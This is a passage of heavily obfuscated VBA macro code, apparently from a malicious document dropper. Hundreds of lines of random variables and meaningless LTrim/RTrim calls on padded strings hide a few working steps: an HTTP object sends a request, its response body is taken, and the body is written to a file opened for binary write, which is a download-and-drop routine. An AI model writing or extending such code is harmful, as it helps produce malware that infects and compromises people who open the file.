  656. nhqZnoou = LTrim(RgajytQy)
  657. whmFWfYi = RTrim(nhqZnoou)
  658.  
  659. jZyECtbI = RTrim(zSaNJlfN)
  660.  
  661. Dim ayyPGJBs, MxCwYVfG, vkRJLlyU As String
  662. ayyPGJBs = "           GLLLHU               "
  663. MxCwYVfG = LTrim(ayyPGJBs)
  664. vkRJLlyU = RTrim(MxCwYVfG)
  665.  
  666. mTQzdIBs = "           NVLGHA               "
  667. Dim TpEEMGIG, KhhYxESN, HaKlmTkv As String
  668. Dim lgUjuYyD, ItDWdkkw, qhzFXGaG As String
  669. lgUjuYyD = "           NHJXFN               "
  670. ItDWdkkw = LTrim(lgUjuYyD)
  671. qhzFXGaG = RTrim(ItDWdkkw)
  672.  
  673. TpEEMGIG = "           FHZVQX               "
  674. Dim RnvFWlUf, HYqJxuPc, zSCMBWFI As String
  675. RnvFWlUf = "           DVNEQQ               "
  676. HYqJxuPc = LTrim(RnvFWlUf)
  677. zSCMBWFI = RTrim(HYqJxuPc)
  678.  
  679. KhhYxESN = LTrim(TpEEMGIG)
  680. Dim OdWGGkPn, kKXPTPPH, dLuXNFiJ As String
  681. OdWGGkPn = "           JPWJCO               "
  682. kKXPTPPH = LTrim(OdWGGkPn)
  683. dLuXNFiJ = RTrim(kKXPTPPH)
  684.  
  685. HaKlmTkv = RTrim(KhhYxESN)
  686.  
  687. Dim VBMYFsvf, ZWZzaYjy, iHpxfaiC As String
  688. VBMYFsvf = "           DHDJGJ               "
  689. ZWZzaYjy = LTrim(VBMYFsvf)
  690. iHpxfaiC = RTrim(ZWZzaYjy)
  691.  
  692. OwJTklqM = LTrim(mTQzdIBs)
  693. Dim TEuNBFHc, ARkslLfv, xTAcFCQn As String
  694. Dim mHWcYyjY, CzpkhENN, qKgWwgsI As String
  695. mHWcYyjY = "           UGZIGY               "
  696. CzpkhENN = LTrim(mHWcYyjY)
  697. qKgWwgsI = RTrim(CzpkhENN)
  698.  
  699. TEuNBFHc = "           XEYTJF               "
  700. Dim IZVNQWvJ, MIPefOAz, uFxyGcTd As String
  701. IZVNQWvJ = "           XPJJXL               "
  702. MIPefOAz = LTrim(IZVNQWvJ)
  703. uFxyGcTd = RTrim(MIPefOAz)
  704.  
  705. ARkslLfv = LTrim(TEuNBFHc)
  706. Dim rmXJDEif, NwuriIRg, WwjhASzj As String
  707. rmXJDEif = "           OVNAQI               "
  708. NwuriIRg = LTrim(rmXJDEif)
  709. WwjhASzj = RTrim(NwuriIRg)
  710.  
  711. xTAcFCQn = RTrim(ARkslLfv)
  712.  
  713. Dim CUYJcLBX, AZgsPfJF, uvXYCOIT As String
  714. CUYJcLBX = "           YCZFKG               "
  715. AZgsPfJF = LTrim(CUYJcLBX)
  716. uvXYCOIT = RTrim(AZgsPfJF)
  717.  
  718. sYybaJMf = RTrim(OwJTklqM)
  719.  
  720. Dim yXxxvqYN, PJtJQYcJ, hSSdBahO As String
  721. Dim sjXgKUcx, FAqoAtuH, zkjSUHlv As String
  722. sjXgKUcx = "           ZZZEWM               "
  723. FAqoAtuH = LTrim(sjXgKUcx)
  724. zkjSUHlv = RTrim(FAqoAtuH)
  725.  
  726. yXxxvqYN = "           JGZSIJ               "
  727. Dim PDFUVsWW, OvklXfnm, WRrxczRR As String
  728. PDFUVsWW = "           JTINDI               "
  729. OvklXfnm = LTrim(PDFUVsWW)
  730. WRrxczRR = RTrim(OvklXfnm)
  731.  
  732. PJtJQYcJ = LTrim(yXxxvqYN)
  733. Dim TQSREmjk, ASXHVvFl, xDyzlEqm As String
  734. TQSREmjk = "           XUWMUR               "
  735. ASXHVvFl = LTrim(TQSREmjk)
  736. xDyzlEqm = RTrim(ASXHVvFl)
  737.  
  738. hSSdBahO = RTrim(PJtJQYcJ)
  739.  
  740. Dim wgeePSNZ, gRLFALgy, LnAoFfuV As String
  741. wgeePSNZ = "           BVKZFR               "
  742. gRLFALgy = LTrim(wgeePSNZ)
  743. LnAoFfuV = RTrim(gRLFALgy)
  744.  
  745.     CPNTFBEJUZO.Send "sdfdsfdsf"
  746.  
  747.  
  748. Dim ojjmZKLv, mxecrYXO, luYqzIZi As String
  749. Dim bVZDxMSE, zpJUykwC, jNCqseUT As String
  750. Dim zCgeUYeb, RoEXjrSL, LBInwHVA As String
  751. zCgeUYeb = "           VKSCHM               "
  752. RoEXjrSL = LTrim(zCgeUYeb)
  753. LBInwHVA = RTrim(RoEXjrSL)
  754.  
  755. bVZDxMSE = "           EIFUXU               "
  756. Dim vODMofkn, QGbCQamQ, OneOIeaq As String
  757. vODMofkn = "           QEIYKO               "
  758. QGbCQamQ = LTrim(vODMofkn)
  759. OneOIeaq = RTrim(QGbCQamQ)
  760.  
  761. zpJUykwC = LTrim(bVZDxMSE)
  762. Dim ASJlbgsj, cDaTMlOk, lFqJgcul As String
  763. ASJlbgsj = "           MUCGRA               "
  764. cDaTMlOk = LTrim(ASJlbgsj)
  765. lFqJgcul = RTrim(cDaTMlOk)
  766.  
  767. jNCqseUT = RTrim(zpJUykwC)
  768.  
  769. Dim HwyVpuIn, wjFlxAbl, gURrfIGX As String
  770. HwyVpuIn = "           PALNNG               "
  771. wjFlxAbl = LTrim(HwyVpuIn)
  772. gURrfIGX = RTrim(wjFlxAbl)
  773.  
  774. ojjmZKLv = "           ZLXMZV               "
  775. Dim IjSSDPBp, MxvGgvzm, uZqKJdyR As String
  776. Dim dqkKJJRC, AacwCZHT, rsQhYNbB As String
  777. dqkKJJRC = "           XFOPYY               "
  778. AacwCZHT = LTrim(dqkKJJRC)
  779. rsQhYNbB = RTrim(AacwCZHT)
  780.  
  781. IjSSDPBp = "           GMUZUM               "
  782. Dim QOtnBfbz, VGJEAzEd, pWEYeGYc As String
  783. QOtnBfbz = "           JEHCFO               "
  784. VGJEAzEd = LTrim(QOtnBfbz)
  785. pWEYeGYc = RTrim(VGJEAzEd)
  786.  
  787. MxvGgvzm = LTrim(IjSSDPBp)
  788. Dim ldLiaPcD, gdelwFWF, pfdTHLlG As String
  789. ldLiaPcD = "           HMBOKS               "
  790. gdelwFWF = LTrim(ldLiaPcD)
  791. pfdTHLlG = RTrim(gdelwFWF)
  792.  
  793. uZqKJdyR = RTrim(MxvGgvzm)
  794.  
  795. Dim SwmJeTnI, jjzsjNkb, XsOUEwpk As String
  796. SwmJeTnI = "           IANXCA               "
  797. jjzsjNkb = LTrim(SwmJeTnI)
  798. XsOUEwpk = RTrim(jjzsjNkb)
  799.  
  800. mxecrYXO = LTrim(ojjmZKLv)
  801. Dim DqZfoSDZ, IsSbEJqR, RdCQVWIT As String
  802. Dim SQjKwQnB, gXTStopl, ESQhqMwa As String
  803. SQjKwQnB = "           OAIPWE               "
  804. gXTStopl = LTrim(SQjKwQnB)
  805. ESQhqMwa = RTrim(gXTStopl)
  806.  
  807. DqZfoSDZ = "           NMHSXD               "
  808. Dim HIMkdQal, zFYmFvrE, gMlcjdiF As String
  809. HIMkdQal = "           LEQKMM               "
  810. zFYmFvrE = LTrim(HIMkdQal)
  811. gMlcjdiF = RTrim(zFYmFvrE)
  812.  
  813. IsSbEJqR = LTrim(DqZfoSDZ)
  814. Dim zPbHCQRl, VQOzkGzl, LQLfSMbm As String
  815. zPbHCQRl = "           UYGNHS               "
  816. VQOzkGzl = LTrim(zPbHCQRl)
  817. LQLfSMbm = RTrim(VQOzkGzl)
  818.  
  819. RdCQVWIT = RTrim(IsSbEJqR)
  820.  
  821. Dim DGlNIyRt, lPzmWnwX, VTOGiXfF As String
  822. DGlNIyRt = "           AAXKVW               "
  823. lPzmWnwX = LTrim(DGlNIyRt)
  824. VTOGiXfF = RTrim(lPzmWnwX)
  825.  
  826. luYqzIZi = RTrim(mxecrYXO)
  827.  
  828. Dim kzoEQyTE, CCHVVnxw, ALclqWgf As String
  829. Dim qbaslNOa, bhuHbQWO, znmPooRe As String
  830. qbaslNOa = "           WWNMMP               "
  831. bhuHbQWO = LTrim(qbaslNOa)
  832. znmPooRe = RTrim(bhuHbQWO)
  833.  
  834. kzoEQyTE = "           HUHUBW               "
  835. Dim bilAqDvI, cKCfoGti, PVOjQEil As String
  836. bilAqDvI = "           QGVCLX               "
  837. cKCfoGti = LTrim(bilAqDvI)
  838. PVOjQEil = RTrim(cKCfoGti)
  839.  
  840. CCHVVnxw = LTrim(kzoEQyTE)
  841. Dim WVEwasdp, JBFUwjPq, SBVLHmis As String
  842. WVEwasdp = "           RDJHKN               "
  843. JBFUwjPq = LTrim(WVEwasdp)
  844. SBVLHmis = RTrim(JBFUwjPq)
  845.  
  846. ALclqWgf = RTrim(CCHVVnxw)
  847.  
  848. Dim HCxSqTqA, wKtucNzl, goWKgujC As String
  849. HCxSqTqA = "           PGZMAA               "
  850. wKtucNzl = LTrim(HCxSqTqA)
  851. goWKgujC = RTrim(wKtucNzl)
  852.  
  853.     OISBYEFREAZ = CPNTFBEJUZO.responseBody
  854.  
  855. Dim aEVZQBbW, XRoFtrCC, KTlNbimV As String
  856. Dim xGTETrIJ, BNLcgAkq, fHBzmdEL As String
  857. Dim tYYMbKzP, lxQvTEfl, IdJzQgba As String
  858. tYYMbKzP = "           LBHQCY               "
  859. lxQvTEfl = LTrim(tYYMbKzP)
  860. IdJzQgba = RTrim(lxQvTEfl)
  861.  
  862. xGTETrIJ = "           AEGENS               "
  863. Dim xBlPMENJ, OttDxkea, UGInmlOn As String
  864. xBlPMENJ = "           PQCZQJ               "
  865. OttDxkea = LTrim(xBlPMENJ)
  866. UGInmlOn = RTrim(OttDxkea)
  867.  
  868. BNLcgAkq = LTrim(xGTETrIJ)
  869. Dim cflwlTlT, lgEUDOJU, ggDMiFgI As String
  870. cflwlTlT = "           KWSHAO               "
  871. lgEUDOJU = LTrim(cflwlTlT)
  872. ggDMiFgI = RTrim(lgEUDOJU)
  873.  
  874. fHBzmdEL = RTrim(BNLcgAkq)
  875.  
  876. Dim qoypKyKR, GrFTynOx, mBwNlWAg As String
  877. qoypKyKR = "           MWLTKF               "
  878. GrFTynOx = LTrim(qoypKyKR)
  879. mBwNlWAg = RTrim(GrFTynOx)
  880.  
  881. aEVZQBbW = "           UEALPL               "
  882. Dim ecCBVRhG, hEOzbllN, AOwyzyxq As String
  883. Dim LTcTsZQQ, uwEpjgCl, OYJeNQYF As String
  884. LTcTsZQQ = "           SVSRHB               "
  885. uwEpjgCl = LTrim(LTcTsZQQ)
  886. OYJeNQYF = RTrim(uwEpjgCl)
  887.  
  888. ecCBVRhG = "           NCSODJ               "
  889. Dim FbGLmZpl, NTAXXhfR, VjtOMkLe As String
  890. FbGLmZpl = "           KVOYVH               "
  891. NTAXXhfR = LTrim(FbGLmZpl)
  892. VjtOMkLe = RTrim(NTAXXhfR)
  893.  
  894. hEOzbllN = LTrim(ecCBVRhG)
  895. Dim TMLlYWDi, nMeTaBqo, xWdKwrIp As String
  896. TMLlYWDi = "           XQVGIJ               "
  897. nMeTaBqo = LTrim(TMLlYWDi)
  898. xWdKwrIp = RTrim(nMeTaBqo)
  899.  
  900. AOwyzyxq = RTrim(hEOzbllN)
  901.  
  902. Dim PPBIGWoV, gTUezhNG, MAgcgQKU As String
  903. PPBIGWoV = "           NVQOAH               "
  904. gTUezhNG = LTrim(PPBIGWoV)
  905. MAgcgQKU = RTrim(gTUezhNG)
  906.  
  907. XRoFtrCC = LTrim(aEVZQBbW)
  908. Dim jdOSYhWp, ddMValkq, ifrpwvGs As String
  909. Dim odlKXOqr, QcISTuMc, NfDhPKyy As String
  910. odlKXOqr = "           ABFKCW               "
  911. QcISTuMc = LTrim(odlKXOqr)
  912. NfDhPKyy = RTrim(QcISTuMc)
  913.  
  914. jdOSYhWp = "           GMMVIA               "
  915. Dim buVPnCix, QdPDeQsU, VlxHRvgJ As String
  916. buVPnCix = "           QGDAAN               "
  917. QdPDeQsU = LTrim(buVPnCix)
  918. VlxHRvgJ = RTrim(QdPDeQsU)
  919.  
  920. ddMValkq = LTrim(jdOSYhWp)
  921. Dim WaSkvQFy, JzXELHsu, SeuGfMOi As String
  922. WaSkvQFy = "           RGWFRS               "
  923. JzXELHsu = LTrim(WaSkvQFy)
  924. SeuGfMOi = RTrim(JzXELHsu)
  925.  
  926. ifrpwvGs = RTrim(ddMValkq)
  927.  
  928. Dim eZsupOll, XKeKaHUC, nFPdfqbG As String
  929. eZsupOll = "           HTXRNE               "
  930. XKeKaHUC = LTrim(eZsupOll)
  931. nFPdfqbG = RTrim(XKeKaHUC)
  932.  
  933. KTlNbimV = RTrim(XRoFtrCC)
  934.  
  935. Dim UFTGGrTf, sOfqzbxy, JRWTgMgC As String
  936. Dim dSsKKTSt, GCbSAewv, rDThUFUu As String
  937. dSsKKTSt = "           ESPKWL               "
  938. GCbSAewv = LTrim(dSsKKTSt)
  939. rDThUFUu = RTrim(GCbSAewv)
  940.  
  941. UFTGGrTf = "           VNZDAW               "
  942. Dim pmAlSKsl, xnfcfThE, IYNnHllF As String
  943. pmAlSKsl = "           PYYZXJ               "
  944. xnfcfThE = LTrim(pmAlSKsl)
  945. IYNnHllF = RTrim(xnfcfThE)
  946.  
  947. sOfqzbxy = LTrim(UFTGGrTf)
  948. Dim GpddXhOe, Qqcvjlur, YsUPQvRt As String
  949. GpddXhOe = "           ALOQHA               "
  950. Qqcvjlur = LTrim(GpddXhOe)
  951. YsUPQvRt = RTrim(Qqcvjlur)
  952.  
  953. JRWTgMgC = RTrim(sOfqzbxy)
  954.  
  955. Dim psmwxuaK, GueHOAKO, lePsXCPA As String
  956. psmwxuaK = "           LCAQUG               "
  957. GueHOAKO = LTrim(psmwxuaK)
  958. lePsXCPA = RTrim(GueHOAKO)
  959.  
  960.     KRUSSZJMQME = FreeFile
  961.     Open HSZAKTQRXVD For Binary Access Write As #KRUSSZJMQME
  962. Dim iiiRQBxS, DeGBVlfR, kBclqGyw As String
  963. Dim VsKTOJCG, szCoGZoc, GdsevNKK As String
  964. Dim GBdVnieM, rGkAYLgZ, YNYwhjVX As String
  965. GBdVnieM = "           QIYDVF               "
  966. rGkAYLgZ = LTrim(GBdVnieM)
  967. YNYwhjVX = RTrim(rGkAYLgZ)
  968.  
  969. VsKTOJCG = "           GGXRZY               "
  970. Dim JoDObizf, GLjwcpIS, aBevNVQC As String
  971. JoDObizf = "           MHUAAY               "
  972. GLjwcpIS = LTrim(JoDObizf)
  973. aBevNVQC = RTrim(GLjwcpIS)
  974.  
  975. szCoGZoc = LTrim(VsKTOJCG)
  976. Dim SealJgtu, IrqTslZi, EtmJYcNo As String
  977. SealJgtu = "           NHZFDA               "
  978. IrqTslZi = LTrim(SealJgtu)
  979. EtmJYcNo = RTrim(IrqTslZi)
  980.  
  981. GdsevNKK = RTrim(szCoGZoc)
  982.  
  983. Dim VzCjOywp, EVTQXnda, oLdyoXrL As String
  984. VzCjOywp = "           UUPNVW               "
  985. EVTQXnda = LTrim(VzCjOywp)
  986. oLdyoXrL = RTrim(EVTQXnda)
  987.  
  988. iiiRQBxS = "           SPHUBK               "
  989. Dim gTvLwvjs, djzTlnXQ, bxFIXgNW As String
  990. Dim tQSWJsjt, UXaGnINb, XSulTmsi As String
  991. tQSWJsjt = "           BSCMWO               "
  992. UXaGnINb = LTrim(tQSWJsjt)
  993. XSulTmsi = RTrim(UXaGnINb)
  994.  
  995. gTvLwvjs = "           YANYBF               "
  996. Dim qmvSigCo, xnqGOeNl, mqFAUtYL As String
  997. qmvSigCo = "           EXNZKO               "
  998. xnqGOeNl = LTrim(qmvSigCo)
  999. mqFAUtYL = RTrim(xnqGOeNl)
  1000.  
  1001. djzTlnXQ = LTrim(gTvLwvjs)
  1002. Dim PGcEqJeV, YHUGRWnB, AJKaBNVN As String
  1003. PGcEqJeV = "           BOFMCG               "
  1004. YHUGRWnB = LTrim(PGcEqJeV)
  1005. AJKaBNVN = RTrim(YHUGRWnB)
  1006.  
  1007. bxFIXgNW = RTrim(djzTlnXQ)
  1008.  
  1009. Dim AshaIlAI, mZuSbnHs, NcFuSWUr As String
  1010. AshaIlAI = "           ZXVADW               "
  1011. mZuSbnHs = LTrim(AshaIlAI)
  1012. NcFuSWUr = RTrim(mZuSbnHs)
  1013.  
  1014. DeGBVlfR = LTrim(iiiRQBxS)
  1015. Dim nPKtAsDo, wQzjWjqp, jSsZhmIq As String
  1016. Dim bHBrtYVq, FYtUqkoL, jJlAMGKf As String
  1017. bHBrtYVq = "           ERNHDN               "
  1018. FYtUqkoL = LTrim(bHBrtYVq)
  1019. jJlAMGKf = RTrim(FYtUqkoL)
  1020.  
  1021. nPKtAsDo = "           LYVUTN               "
  1022. Dim pNxzutUp, xyotOLPm, mHSJUWjM As String
  1023. pNxzutUp = "           EQBPJR               "
  1024. xyotOLPm = LTrim(pNxzutUp)
  1025. mHSJUWjM = RTrim(xyotOLPm)
  1026.  
  1027. wQzjWjqp = LTrim(nPKtAsDo)
  1028. Dim DCZgRZKj, OCSnBYhk, RVXDlQDl As String
  1029. DCZgRZKj = "           NSHSUI               "
  1030. OCSnBYhk = LTrim(DCZgRZKj)
  1031. RVXDlQDl = RTrim(OCSnBYhk)
  1032.  
  1033. jSsZhmIq = RTrim(wQzjWjqp)
  1034.  
  1035. Dim xhonlrgf, zsJWYvyy, MZUYcYmO As String
  1036. xhonlrgf = "           NBWFTD               "
  1037. zsJWYvyy = LTrim(xhonlrgf)
  1038. MZUYcYmO = RTrim(zsJWYvyy)
  1039.  
  1040. kBclqGyw = RTrim(DeGBVlfR)
  1041.  
  1042. Dim busjZkKr, tzMQGSOW, VlPxTLBv As String
  1043. Dim CPomVBvk, sngVrPPN, FQEKDill As String
  1044. CPomVBvk = "           FARVOP               "
  1045. sngVrPPN = LTrim(CPomVBvk)
  1046. FQEKDill = RTrim(sngVrPPN)
  1047.  
  1048. busjZkKr = "           AMXOOM               "
  1049. Dim jGrALFZi, ZWHRmAYk, FaZUChOZ As String
  1050. jGrALFZi = "           YYHCPX               "
  1051. ZWHRmAYk = LTrim(jGrALFZi)
  1052. FaZUChOZ = RTrim(ZWHRmAYk)
  1053.  
  1054. tzMQGSOW = LTrim(busjZkKr)
  1055. Dim KNXVOwuo, DayprnRp, OzhwvRzs As String
  1056. KNXVOwuo = "           ZFNROR               "
  1057. DayprnRp = LTrim(KNXVOwuo)
  1058. OzhwvRzs = RTrim(DayprnRp)
  1059.  
  1060. VlPxTLBv = RTrim(tzMQGSOW)
  1061.  
  1062. Dim SrlBbSLm, jNNlSuPd, XWIFNAAr As String
  1063. SrlBbSLm = "           ILBNIR               "
  1064. jNNlSuPd = LTrim(SrlBbSLm)
  1065. XWIFNAAr = RTrim(jNNlSuPd)
  1066.  
  1067.     Put #KRUSSZJMQME, , OISBYEFREAZ
  1068. Dim jvAHGGUn, LPHPvdjM, ibWfRVZZ As String
  1069. Dim WeHKaoch, cftSPYuO, SrqhGklk As String
  1070. Dim QvVpACpV, NgrFUIwY, ZblIjyta As String
  1071. QvVpACpV = "           OWBLVI               "
  1072. NgrFUIwY = LTrim(QvVpACpV)
  1073. ZblIjyta = RTrim(NgrFUIwY)
  1074.  
  1075. WeHKaoch = "           MWBKBI               "
  1076. Dim eLnHKFtj, gBdLmZoA, ntBXXhsQ As String
  1077. eLnHKFtj = "           YKYDBG               "
  1078. gBdLmZoA = LTrim(eLnHKFtj)
  1079. ntBXXhsQ = RTrim(gBdLmZoA)
  1080.  
  1081. cftSPYuO = LTrim(WeHKaoch)
  1082. Dim EqGmUgKZ, vqNYzlhE, mspKwcDR As String
  1083. EqGmUgKZ = "           WLCGIA               "
  1084. vqNYzlhE = LTrim(EqGmUgKZ)
  1085. mspKwcDR = RTrim(vqNYzlhE)
  1086.  
  1087. SrqhGklk = RTrim(cftSPYuO)
  1088.  
  1089. Dim sRkyjtFy, JbNnEbYC, xmUWHWcG As String
  1090. sRkyjtFy = "           FWWWGW               "
  1091. JbNnEbYC = LTrim(sRkyjtFy)
  1092. xmUWHWcG = RTrim(JbNnEbYC)
  1093.  
  1094. jvAHGGUn = "           TYKJMV               "
  1095. Dim ZABXWbxW, AdZOLAzm, DlgSmhyT As String
  1096. Dim FQAymLsG, eAUPnRcc, TSXRpzuK As String
  1097. FQAymLsG = "           PAFJWU               "
  1098. eAUPnRcc = LTrim(FQAymLsG)
  1099. TSXRpzuK = RTrim(eAUPnRcc)
  1100.  
  1101. ZABXWbxW = "           DBDUQG               "
  1102. Dim xekZceZT, wFWhwtit, UMUlCLsh As String
  1103. xekZceZT = "           PDCVNE               "
  1104. wFWhwtit = LTrim(xekZceZT)
  1105. UMUlCLsh = RTrim(wFWhwtit)
  1106.  
  1107. AdZOLAzm = LTrim(ZABXWbxW)
  1108. Dim hhzZillf, qjsFZxJg, ukwNXAgj As String
  1109. hhzZillf = "           FXELWE               "
  1110. qjsFZxJg = LTrim(hhzZillf)
  1111. ukwNXAgj = RTrim(qjsFZxJg)
  1112.  
  1113. DlgSmhyT = RTrim(AdZOLAzm)
  1114.  
  1115. Dim kcPIjTpZ, ClkeEaal, GOoFmihC As String
  1116. kcPIjTpZ = "           CZIKRA               "
  1117. ClkeEaal = LTrim(kcPIjTpZ)
  1118. GOoFmihC = RTrim(ClkeEaal)
  1119.  
  1120. LPHPvdjM = LTrim(jvAHGGUn)
  1121. Dim KuRfkhbZ, FiFbQmCE, OiBQyvmT As String
  1122. Dim rbSlnkCL, YQafpFYd, WAyKhnKW As String
  1123. rbSlnkCL = "           BYCYSS               "
  1124. YQafpFYd = LTrim(rbSlnkCL)
  1125. WAyKhnKW = RTrim(YQafpFYd)
  1126.  
  1127. KuRfkhbZ = "           ZJJSNZ               "
  1128. Dim YAlZEXFX, RdCgAVmm, JlOkrQcT As String
  1129. YAlZEXFX = "           FBVCEN               "
  1130. RdCgAVmm = LTrim(YAlZEXFX)
  1131. JlOkrQcT = RTrim(RdCgAVmm)
  1132.  
  1133. FiFbQmCE = LTrim(KuRfkhbZ)
  1134. Dim jPVBEluq, dPisCxRs, iQlckAzf As String
  1135. jPVBEluq = "           GYATYE               "
  1136. dPisCxRs = LTrim(jPVBEluq)
  1137. iQlckAzf = RTrim(dPisCxRs)
  1138.  
  1139. OiBQyvmT = RTrim(FiFbQmCE)
  1140.  
  1141. Dim dRfvKPlB, JnXLtysJ, xwEfkneO As String
  1142. dRfvKPlB = "           WYCDJR               "
  1143. JnXLtysJ = LTrim(dRfvKPlB)
  1144. xwEfkneO = RTrim(JnXLtysJ)
  1145.  
  1146. ibWfRVZZ = RTrim(LPHPvdjM)
  1147.  
  1148. Dim xrOUrHUl, aBkzjsbq, YMBxEYjz As String
  1149. Dim WCXDoTWs, cipUKeEY, SVhqVFGg As String
  1150. WCXDoTWs = "           WKZGRL               "
  1151. cipUKeEY = LTrim(WCXDoTWs)
  1152. SVhqVFGg = RTrim(cipUKeEY)
  1153.  
  1154. xrOUrHUl = "           NKIJCU               "
  1155. Dim CtZaHPvg, pqgrkcZb, iXKHhbiV As String
  1156. CtZaHPvg = "           CFZPOM               "
  1157. pqgrkcZb = LTrim(CtZaHPvg)
  1158. iXKHhbiV = RTrim(pqgrkcZb)
  1159.  
  1160. aBkzjsbq = LTrim(xrOUrHUl)
  1161. Dim LVXfHWuK, GBybqNRL, PNhQRrzM As String
  1162. LVXfHWuK = "           EDNSDJ               "
  1163. GBybqNRL = LTrim(LVXfHWuK)
  1164. PNhQRrzM = RTrim(GBybqNRL)
  1165.  
  1166. YMBxEYjz = RTrim(aBkzjsbq)
  1167.  
  1168. Dim RaexZwld, pXPJGHqr, GJlszszX As String
  1169. RaexZwld = "           CYDEME               "
  1170. pXPJGHqr = LTrim(RaexZwld)
  1171. GJlszszX = RTrim(pXPJGHqr)
  1172.  
  1173.     Close #KRUSSZJMQME
  1174. Dim ZAthIEzR, FUJlqjtG, SlmtolQf As String
  1175. Dim UupkyZDT, XChXsfBf, voRHWQIU As String
  1176. Dim KXsInJMY, mubZpgEN, OCTyhNGI As String
  1177. KXsInJMY = "           LJPDDB               "
  1178. mubZpgEN = LTrim(KXsInJMY)
  1179. OCTyhNGI = RTrim(mubZpgEN)
  1180.  
  1181. UupkyZDT = "           USTCDV               "
  1182. Dim lpHzSxqO, RhZtfqgL, JwgiHVkr As String
  1183. lpHzSxqO = "           UHOPUD               "
  1184. RhZtfqgL = LTrim(lpHzSxqO)
  1185. JwgiHVkr = RTrim(RhZtfqgL)
  1186.  
  1187. XChXsfBf = LTrim(UupkyZDT)
  1188. Dim oSuALFML, rDjDdLkW, NFABUCGX As String
  1189. oSuALFML = "           QUYKFF               "
  1190. rDjDdLkW = LTrim(oSuALFML)
  1191. NFABUCGX = RTrim(rDjDdLkW)
  1192.  
  1193. voRHWQIU = RTrim(XChXsfBf)
  1194.  
  1195. Dim hgZZLLel, oTlfPNlX, DnaICwpF As String
  1196. hgZZLLel = "           XVRFKI               "
  1197. oTlfPNlX = LTrim(hgZZLLel)
  1198. DnaICwpF = RTrim(oTlfPNlX)
  1199.  
  1200. ZAthIEzR = "           SBHJTJ               "
  1201. Dim yQwsFpWp, kJighVBm, hAQafNRL As String
  1202. Dim ySkiXxpW, mAcSaiwE, CDQYPTtC As String
  1203. ySkiXxpW = "           LZOKIW               "
  1204. mAcSaiwE = LTrim(ySkiXxpW)
  1205. CDQYPTtC = RTrim(mAcSaiwE)
  1206.  
  1207. yQwsFpWp = "           ARBGIU               "
  1208. Dim iLayCtMf, mBDobLCv, YtbsaYNO As String
  1209. iLayCtMf = "           ZIGSSR               "
  1210. mBDobLCv = LTrim(iLayCtMf)
  1211. YtbsaYNO = RTrim(mBDobLCv)
  1212.  
  1213. kJighVBm = LTrim(yQwsFpWp)
  1214. Dim ZCeQGKYl, pZrUTqYO, yZgLNgrP As String
  1215. ZCeQGKYl = "           FZBHCC               "
  1216. pZrUTqYO = LTrim(ZCeQGKYl)
  1217. yZgLNgrP = RTrim(pZrUTqYO)
  1218.  
  1219. hAQafNRL = RTrim(kJighVBm)
  1220.  
  1221. Dim HOzEFSmu, wROBaudV, abklfArH As String
  1222. HOzEFSmu = "           PIJGGR               "
  1223. wROBaudV = LTrim(HOzEFSmu)
  1224. abklfArH = RTrim(wROBaudV)
  1225.  
  1226. FUJlqjtG = LTrim(ZAthIEzR)
  1227. Dim swewQzaq, uxdUyuvd, ecxLnqXf As String
  1228. Dim NBAhXOof, ZpHpTuKU, HNWDPLrh As String
  1229. NBAhXOof = "           CLKRCW               "
  1230. ZpHpTuKU = LTrim(NBAhXOof)
  1231. HNWDPLrh = RTrim(ZpHpTuKU)
  1232.  
  1233. swewQzaq = "           TFBUXZ               "
  1234. Dim aqJJJHyL, djEMlRor, vxhCWkdg As String
  1235. aqJJJHyL = "           TAFDVH               "
  1236. djEMlRor = LTrim(aqJJJHyL)
  1237. vxhCWkdg = RTrim(djEMlRor)
  1238.  
  1239. uxdUyuvd = LTrim(swewQzaq)
  1240. Dim cVdVdAax, lVxpUTvc, gBYwaPXv As String
  1241. cVdVdAax = "           KDIRVU               "
  1242. lVxpUTvc = LTrim(cVdVdAax)
  1243. gBYwaPXv = RTrim(lVxpUTvc)
  1244.  
  1245. ecxLnqXf = RTrim(uxdUyuvd)
  1246.  
  1247. Dim yviqcmIy, PlHTQGbC, hhcNVqkG As String
  1248. yviqcmIy = "           PKHVKE               "
  1249. PlHTQGbC = LTrim(yviqcmIy)
  1250. hhcNVqkG = RTrim(PlHTQGbC)
  1251.  
  1252. SlmtolQf = RTrim(FUJlqjtG)
  1253.  
  1254. Dim UfzdDPPI, dpOINyAb, Jtkednlk As String
  1255. Dim CDOGazUW, bBVOPvjg, FGefHqZC As String
  1256. CDOGazUW = "           WDXJNR               "
  1257. bBVOPvjg = LTrim(CDOGazUW)
  1258. FGefHqZC = RTrim(bBVOPvjg)
  1259.  
  1260. UfzdDPPI = "           VDDBNQ               "
  1261. Dim BXhrIysC, VYLHYiJx, pSTLoXWU As String
  1262. BXhrIysC = "           VOXQTT               "
  1263. VYLHYiJx = LTrim(BXhrIysC)
  1264. pSTLoXWU = RTrim(VYLHYiJx)
  1265.  
  1266. dpOINyAb = LTrim(UfzdDPPI)
  1267. Dim xTaCHGFV, lYsoqMsB, fYwmRVON As String
  1268. xTaCHGFV = "           KREEDF               "
  1269. lYsoqMsB = LTrim(xTaCHGFV)
  1270. fYwmRVON = RTrim(lYsoqMsB)
  1271.  
  1272. Jtkednlk = RTrim(dpOINyAb)
  1273.  
  1274. Dim FamlMBGc, UkqrQyta, sdLvVAXL As String
  1275. FamlMBGc = "           OJNPKQ               "
  1276. UkqrQyta = LTrim(FamlMBGc)
  1277. sdLvVAXL = RTrim(UkqrQyta)
  1278.  
  1279.    
  1280. Dim lWdxjQex, hWxIQHnc, qXUMyMVb As String
  1281. Dim OxTDEDBL, sULUdqIf, ncBqlXMX As String
  1282. Dim ZQyubYlI, tXmaoree, lSnTgGgQ As String
  1283. ZQyubYlI = "           QSUNSL               "
  1284. tXmaoree = LTrim(ZQyubYlI)
  1285. lSnTgGgQ = RTrim(tXmaoree)
  1286.  
  1287. OxTDEDBL = "           FTMGFC               "
  1288. sULUdqIf = LTrim(OxTDEDBL)
  1289. Dim VPxFFIZI, pHoJhwYL, inSEfcsk As String
  1290. VPxFFIZI = "           CEBEIL               "
  1291. pHoJhwYL = LTrim(VPxFFIZI)
  1292. inSEfcsk = RTrim(pHoJhwYL)
  1293.  
  1294. ncBqlXMX = RTrim(sULUdqIf)
  1295.  
  1296. Dim lbYGHTkJ, hnHaqOGL, qAadTFsM As String
  1297. lbYGHTkJ = "           HAKBDO               "
  1298. hnHaqOGL = LTrim(lbYGHTkJ)
  1299. qAadTFsM = RTrim(hnHaqOGL)
  1300.  
  1301. lWdxjQex = "           HQIHNS               "
  1302. Dim SnADXHql, VYfHvRfR, XkJExYMe As String
